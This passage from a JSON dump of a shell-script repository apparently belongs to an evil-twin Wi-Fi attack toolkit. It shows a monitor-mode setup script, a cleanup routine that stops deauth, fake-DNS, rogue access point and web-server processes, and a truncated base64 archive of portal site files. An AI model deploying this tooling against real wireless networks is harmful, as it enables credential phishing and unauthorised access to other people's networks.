\"xstop\" ] && [ x$2 = x$iface ]\n     then\n         stopStdIface $iface\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER = \"xr8187\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep badcrc`\" != \"x\" ]\n then\n     printf \"$iface\\t\\tRTL8187\\t\\tr8187\"\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n         cp $KISMET~ $KISMET 2>/dev/null &&\n         echo \"source=rt8180,$iface,Realtek\" >>$KISMET\n         if [ $CH -lt 1000 ]\n         then\n             iwconfig $iface mode Monitor channel $CH\n         else\n             iwconfig $iface mode Monitor freq \"$CH\"000000\n         fi\n         if [ x\"`iwpriv $iface 2>/dev/null | grep rawtx`\" != \"x\" ]\n         then\n             iwpriv $iface rawtx 1 >/dev/null 2>&1\n         fi\n         ifconfig $iface up\n         printf \" (monitor mode enabled)\"\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n         stopStdIface $iface\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER = \"xzd1211rw\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep get_regdomain`\" != \"x\" ]\n then\n     printf \"$iface\\t\\tZyDAS 1211\\tzd1211rw\"\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n         cp $KISMET~ $KISMET 2>/dev/null &&\n         echo \"source=zd1211,$iface,ZyDAS\" >>$KISMET\n         startStdIface $iface $CH\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n         stopStdIface $iface\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER = \"xzd1211\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep dbg_flag`\" != \"x\" ]\n then\n     printf \"$iface\\t\\tZyDAS 1211\\tzd1211\"\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n         cp $KISMET~ $KISMET 2>/dev/null &&\n         echo \"source=zd1211,$iface,ZyDAS\" >>$KISMET\n         startStdIface $iface $CH\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n         stopStdIface $iface\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER = \"xacx\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep GetAcx1`\" != \"x\" ]\n then\n     printf \"$iface\\t\\tTI ACX1xx\\tacx\"\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n         cp $KISMET~ $KISMET 2>/dev/null &&\n         echo \"source=acx100,$iface,TI\" >>$KISMET\n         iwpriv $iface monitor 2 $CH 2> /dev/null >/dev/null\n         startStdIface $iface $CH\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n         stopStdIface $iface\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER = \"xbcm43xx\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep write_sprom`\" != \"x\" ]\n then\n     printf \"$iface\\t\\tBroadcom\\tbcm43xx\"\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n         cp $KISMET~ $KISMET 2>/dev/null &&\n         echo \"source=bcm43xx,$iface,broadcom\" >>$KISMET\n         startStdIface $iface $CH\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n         stopStdIface $iface\n         ifconfig $iface up\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER = \"xislsm\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep set_announcedpkt`\" != \"x\" ]\n then\n    printf \"$iface\\t\\tPrismGT\\t\\tislsm\"\n    if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n    then\n         startStdIface $iface $CH\n    fi\n    if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n     \tstopStdIface $iface\n    fi    \n    echo\n    continue\n\n fi\n\n\n if [ x$DRIVER = \"xat76c503a\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep set_announcedpkt`\" != \"x\" ]\n  then\n     printf \"$iface\\t\\tAtmel\\t\\tat76c503a\"\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n          startStdIface $iface $CH\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n      then\n      \t stopStdIface $iface\n     fi     \n     echo\n     continue\n\n fi\n\n\n if [ x$DRIVER = \"xndiswrapper\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep ndis_reset`\" != \"x\" ]\n then\n     printf \"$iface\\t\\tUnknown\\t\\tndiswrapper\"\n     if [ x$2 = x$iface ]\n     then\n         echo \" (MONITOR MODE NOT SUPPORTED)\"\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n         stopStdIface $iface\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER != \"x\" ]\n then\n     if [ x$CHIPSET = \"x\" ]\n     then\n         printf \"$iface\\t\\tUNKNOWN\\t\\t$DRIVER\"\n     else\n         printf \"$iface\\t\\t$CHIPSET\\t\\t$DRIVER\"\n     fi\n\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n         startStdIface $iface $CH\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n         stopStdIface $iface\n     fi\n     echo\n     continue\n fi\n\nprintf \"$iface\\t\\tUnknown\\t\\tUnknown (MONITOR MODE NOT SUPPORTED)\\n\"\n\ndone\n\n################################ < STOP > #########################\n"
  },
  {
    "path": "lib/exitmode.sh",
    "content": "function exitmode {\n    if [ $FLUX_DEBUG != 1 ]; then\n        conditional_clear\n        top\n        echo -e \"\\n\\n\"$white\"[\"$red\"-\"$white\"] \"$red\"$general_exitmode\"$transparent\"\"\n\n        if ps -A | grep -q aireplay-ng; then\n            echo -e \"\"$white\"[\"$red\"-\"$white\"] \"$white\"Kill \"$grey\"aireplay-ng\"$transparent\"\"\n            killall aireplay-ng &>$flux_output_device\n        fi\n\n        if ps -A | grep -q airodump-ng; then\n            echo -e \"\"$white\"[\"$red\"-\"$white\"] \"$white\"Kill \"$grey\"airodump-ng\"$transparent\"\"\n            killall airodump-ng &>$flux_output_device\n        fi\n\n        if ps a | grep python| grep fakedns; then\n            echo -e \"\"$white\"[\"$red\"-\"$white\"] \"$white\"Kill \"$grey\"python\"$transparent\"\"\n            kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device\n        fi\n\n        if ps -A | grep -q hostapd; then\n            echo -e \"\"$white\"[\"$red\"-\"$white\"] \"$white\"Kill \"$grey\"hostapd\"$transparent\"\"\n            killall hostapd &>$flux_output_device\n        fi\n\n        if ps -A | grep -q lighttpd; then\n            echo -e \"\"$white\"[\"$red\"-\"$white\"] \"$white\"Kill \"$grey\"lighttpd\"$transparent\"\"\n            killall lighttpd &>$flux_output_device\n        fi\n\n        if ps -A | grep -q dhcpd; then\n            echo -e \"\"$white\"[\"$red\"-\"$white\"] \"$white\"Kill \"$grey\"dhcpd\"$transparent\"\"\n            killall dhcpd &>$flux_output_device\n        fi\n\n        if ps -A | grep -q mdk3; then\n            echo -e \"\"$white\"[\"$red\"-\"$white\"] \"$white\"Kill \"$grey\"mdk3\"$transparent\"\"\n            killall mdk3 &>$flux_output_device\n        fi\n\n        if [ \"$WIFI_MONITOR\" != \"\" ]; then\n            echo -e \"\"$weis\"[\"$rot\"-\"$weis\"] \"$weis\"$general_exitmode_1 \"$green\"$WIFI_MONITOR\"$transparent\"\"\n            ./lib/airmon/airmon    stop $WIFI_MONITOR &> $flux_output_device\n        fi\n\n\n        if [ \"$WIFI\" != \"\" ]; then\n            echo -e \"\"$weis\"[\"$rot\"-\"$weis\"] \"$weis\"$general_exitmode_2 \"$green\"$WIFI\"$transparent\"\"\n            ./lib/airmon/airmon    stop $WIFI &> $flux_output_device\n            macchanger -p $WIFI &> $flux_output_device\n        fi\n\n\n        if [ \"$(cat /proc/sys/net/ipv4/ip_forward)\" != \"0\" ]; then\n            echo -e \"\"$white\"[\"$red\"-\"$white\"] \"$white\"$general_exitmode_3\"$transparent\"\"\n            sysctl -w net.ipv4.ip_forward=0 &>$flux_output_device\n        fi\n\n        echo -e \"\"$white\"[\"$red\"-\"$white\"] \"$white\"$general_exitmode_4\"$transparent\"\"\n        if [ ! -f $DUMP_PATH/iptables-rules ];then \n            iptables --flush \n            iptables --table nat --flush \n            iptables --delete-chain\n            iptables --table nat --delete-chain \n        else \n            iptables-restore < $DUMP_PATH/iptables-rules   \n        fi\n\n        echo -e \"\"$white\"[\"$red\"-\"$white\"] \"$white\"$general_exitmode_5\"$transparent\"\"\n        tput cnorm\n\n        if [ $FLUX_DEBUG != 1 ]; then\n\n            echo -e \"\"$white\"[\"$red\"-\"$white\"] \"$white\"Delete \"$grey\"files\"$transparent\"\"\n            rm -R $DUMP_PATH/* &>$flux_output_device\n        fi\n\n\t\tif [ $KEEP_NETWORK = 0 ]; then\n\n\t        echo -e \"\"$white\"[\"$red\"-\"$white\"] \"$white\"$general_exitmode_6\"$transparent\"\"\n\t        # systemctl check\n\t        systemd=`whereis systemctl`\n\t        if [ \"$systemd\" = \"\" ];then\n\t            service network-manager restart &> $flux_output_device &\n\t\t  \t\tservice networkmanager restart &> $flux_output_device &\n\t            service networking restart &> $flux_output_device &\n\t        else\n\t            systemctl restart NetworkManager &> $flux_output_device & \t\n\t        fi \n\t        echo -e \"\"$white\"[\"$green\"+\"$white\"] \"$green\"$general_exitmode_7\"$transparent\"\"\n\t        echo -e \"\"$white\"[\"$green\"+\"$white\"] \"$grey\"$general_exitmode_8\"$transparent\"\"\n\t        sleep 2\n\t        clear\n\t    fi\n\n\tfi\n\n        exit\n    \n}"
  },
  {
    "path": "lib/site/index",
    "content": "echo \"UEsDBAoAAAAAAEQCTUkAAAAAAAAAAAAAAAAEAAAAY3NzL1BLAwQUAAAACACyuUxJ8qGcyENfAABp\nKgMAHwAAAGNzcy9qcXVlcnkubW9iaWxlLTEuNC41Lm1pbi5jc3PsXeuTGzdy/35/he6qturu4hnj\n/VAeVTZlma6ik0utb1PJlxTFpZe8Gy11yxVlXZL/PegHMOBqtaQku8pcwfJyAAwGz+nfNLobjS//\n+Nsnf/n318ubt0++37xYD8snsje9ffK/T75d3z6ZfvPVs9V8u3r6xIWltUv/5J/+5YkS0nRSdFr+\nIP1TrZ9q8V8p/+8Xf4Bb4gvMkAt9vnl9fTm/XW+uv3jy3fWiTxn/8je4029urr4c1ovl9Xb55I9f\n/uY3/et1t15srrv5ArI/nf94u7z5nxfzxV+vbqCQbv1yfrV8+vpm+P3vUonzpxj/cru7+oefXg7/\nuFjNb7bL23/+83n31fnku+++ONOTM/083TpTYre82a4312f62ZlSshfpN6Uurxeby/X1FSWvt5su\nBBs7CXf18zP9TSrit8/+bfLDf/7pm5Q91ZR+//Tnr2ffTVIg5erO1PP0/3/oCQWe/ZAKEucX36Zf\n2UtK/OZfqbb0u7q9fXWmv6L0N2/e9G80DEOKfHszf7VaL7YpiI8/p8exwOepYin7y9tLKAhbRU25\n0ytJ9awvKWE2f7u8+W9OTMNwvaX09zdCCSGour2HvvppWF//9dDDMsaYLpSXHqdHxKufKP72Tjz9\n/2Z9ebvi9pucvlqur1a3d1N36+Wbrze5zJQAf9LwD+TY3r4dlnR/eT1/MSy78eVJbb5evuGn6if1\n16WvKc/21XzBRby6WW6XN7tlGfNX89vVfi0/rocBB0M/x/9KYTwD36cBmdidHmxnZhAWO70QcO1s\n+fUTB7nSX6yvf0/FfC/T7E2kmqoLu5KD6tRU7KRcSX3hhy5VNFEXUv0d6+TXladPf/O7P/zfSFDD\n8ua20VOjp1OnJw9UMxNIFCtpZhhHSoGQlItO9NZqpC2Zwsb4dJVbDkGeTi5KHojDFe5yWJ57vou0\nR8WWGkIKTBxnTxEk3fwAhi/sQoyNOL7aHZWXy8rXwG0IRxD5zc3mTXfZDY3QG6H/ugh9M7y9SqOt\nBBH4M7iDNE4lvNqsr2+3udlnaqKhBkmkInRviSCo/onhK7WjhBxmkwLz1cRyVWjm6nNMeBArbhpW\n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